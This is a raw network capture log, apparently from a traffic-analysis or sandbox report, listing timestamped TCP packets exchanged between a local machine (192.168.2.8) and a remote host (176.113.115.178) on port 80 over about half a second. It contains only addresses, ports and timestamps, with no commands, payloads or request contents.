Dec 18, 2024 14:07:39.829385042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.829396009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.829437017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.830319881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.830332041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.830379963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.831039906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.831053019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.831096888 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.831641912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.831654072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.831768036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.832500935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.832515001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.832575083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.833374977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.833389044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.833427906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.836237907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836250067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836275101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836288929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836312056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836323023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.836323977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.836365938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.837148905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.837162018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.837202072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.838272095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.838284016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.838324070 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.838833094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.838844061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.838900089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.839246035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.839257956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.839293003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.840430021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.840486050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.924249887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.924287081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.924401999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.924544096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.924659014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.924709082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.925440073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.926014900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.926027060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.926054955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.926505089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.926569939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.926609039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.927361012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.927402973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.927455902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.928194046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.928246021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.928247929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.929018021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.929058075 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.929475069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.930025101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.930038929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.930074930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.930700064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.930742979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.930809975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.931566000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.931616068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.931679010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.932317972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.932372093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.932612896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.933191061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.933204889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.933234930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.933999062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.934041977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:39.934041977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:39.987719059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.000006914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.000065088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.000133038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.000310898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.000391006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.000442982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.001172066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.001313925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.001368046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.001913071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.002192974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.002206087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.002254963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.003113031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.003127098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.003159046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.003995895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.004026890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.004071951 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.004637957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.004689932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.004750013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.005490065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.005553007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.005642891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.006314039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.006364107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.006493092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.007139921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.007188082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.007371902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.008086920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.008131027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.008140087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.008830070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.008874893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.008958101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.009597063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.009644985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.009752035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.010687113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.010737896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.010865927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.011713028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.011763096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.011797905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.012949944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013000965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.013027906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013448954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013470888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013508081 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.013869047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013917923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.013933897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.014508963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.014566898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.014624119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.015357018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.015403986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.015418053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.016243935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.016289949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.016303062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.017004013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.017050982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.017081022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.017838955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.017885923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.017889977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.018698931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.018752098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.018829107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.019442081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.019495010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.019552946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.020358086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.020416021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.020418882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.021167040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.021217108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.021253109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.021990061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.022043943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.022098064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.022955894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.022969961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.023013115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.023638010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.023684978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.023698092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.024396896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.024449110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.024555922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.025265932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.025289059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.025310040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.026158094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.026170015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.026221037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.026998043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.027013063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.027055979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.028130054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.028142929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.028187037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.028594971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.028606892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.028642893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.029366970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.029380083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.029417992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.030229092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.030241013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.030296087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.031059980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.031075001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.031107903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.031898022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.031979084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.116166115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.116183043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.116266966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.116494894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.116508961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.116569042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.117173910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.117422104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.117466927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.118031025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.118208885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.118257046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.118916988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.119133949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.119179964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.119818926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.120068073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.120125055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.120656013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.120764017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.120810032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.121475935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.121625900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.121687889 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.122410059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.122551918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.122603893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.123143911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.123162031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.123214006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.123867035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.123972893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.124022961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.124669075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.124758005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.124814034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.125462055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.125659943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.125720024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.126338005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.126399040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.126449108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.192326069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.192341089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.192460060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.192673922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.192821026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.192863941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.192898989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.193655968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.193695068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.193780899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.194588900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.194629908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.194629908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.195338964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.195377111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.195457935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.196237087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.196274996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.196305037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.197032928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.197073936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.197141886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.198014021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.198052883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.198158979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.199075937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.199086905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.199115992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.199908018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.199949980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.200047016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.200829983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.200875998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.200917006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.201522112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.201538086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.201560020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.202107906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.202152014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.202163935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.202951908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.202995062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.203063965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.203854084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.203876972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.203896046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.204457045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.204498053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.204507113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.205317020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.205333948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.205358982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.206059933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.206104040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.206260920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.207117081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.207128048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.207161903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.208043098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.208085060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.208151102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.208704948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.208745003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.208774090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.209425926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.209465981 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.209511042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.210119963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.210161924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.210268974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.210962057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.211033106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.211092949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.211885929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.211899042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.211926937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.212626934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.212667942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.212719917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.213524103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.213567019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.213639021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.214276075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.214315891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.214612007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.215097904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.215137959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.215372086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.216053009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.216093063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.216114998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.216798067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.216837883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.216918945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.217717886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:40.217760086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:40.217767000 CET	80	49707	176.113.115.178	192.168.2.8
